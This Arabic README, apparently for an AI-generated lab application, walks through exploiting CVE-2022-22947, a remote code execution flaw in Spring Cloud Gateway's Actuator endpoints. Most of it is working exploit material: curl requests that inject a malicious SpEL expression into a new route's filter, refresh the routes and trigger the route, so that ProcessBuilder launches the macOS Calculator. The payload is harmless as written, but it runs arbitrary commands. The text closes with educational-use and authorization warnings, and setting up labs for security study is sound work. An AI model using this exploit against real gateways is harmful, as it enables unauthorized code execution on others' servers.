
تطبيق مُولَّد بالذكاء الاصطناعي للتحقق من الثغرات الأمنية
هذا تطبيق Spring Cloud Gateway مخصص لعرض والتحقق من ثغرة CVE-2022-22947. يستخدم التطبيق إصدارًا قابلًا للاستغلال من Spring Cloud Gateway، ويمكن من خلاله تنفيذ كود عشوائي عبر نقاط نهاية Actuator.
CVE-2022-22947 هي ثغرة تنفيذ كود عن بُعد في Spring Cloud Gateway. يمكن للمهاجم إضافة مسارات تحتوي على تعبيرات SpEL خبيثة ديناميكيًا عبر نقاط نهاية Actuator لتنفيذ كود عشوائي.
mvn spring-boot:run
سيتم تشغيل التطبيق على http://localhost:8080.
أرسل طلب POST إلى نقطة النهاية /actuator/gateway/routes/test لإضافة مسار يحتوي على تعبير SpEL خبيث:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
أرسل طلب POST إلى نقطة النهاية /actuator/gateway/refresh لتحديث المسار:
curl -X POST http://localhost:8080/actuator/gateway/refresh
قم بالوصول إلى المسار الخبيث لتشغيل الكود:
curl http://localhost:8080/test
بعد استغلال الثغرة بنجاح، سيتم تشغيل تطبيق الآلة الحاسبة على macOS.
نقطة النهاية: POST /actuator/gateway/routes/test
ترويسة الطلب:
Content-Type: application/json
جسم الطلب:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
نقطة النهاية: POST /actuator/gateway/refresh
نقطة النهاية: GET /test
تسمح هذه الثغرة للمهاجم بإضافة مسارات ديناميكيًا عبر نقاط نهاية Actuator، واستخدام تعبيرات SpEL في مرشحات المسار لتنفيذ كود عشوائي. يكمن جوهر الثغرة في المعالجة غير الآمنة لتعبيرات SpEL في إعدادات المسارات داخل Spring Cloud Gateway.
⚠️ تحذير أمني: هذا التطبيق مخصص للأغراض التعليمية والبحث الأمني فقط. لا تستخدم أو تنشر هذا التطبيق في بيئات الإنتاج.
⚠️ بيان قانوني: عند استخدام هذا التطبيق لاختبار الثغرات، تأكد من حصولك على التصريح المناسب. قد يؤدي الاختبار غير المصرح به إلى انتهاك القوانين واللوائح.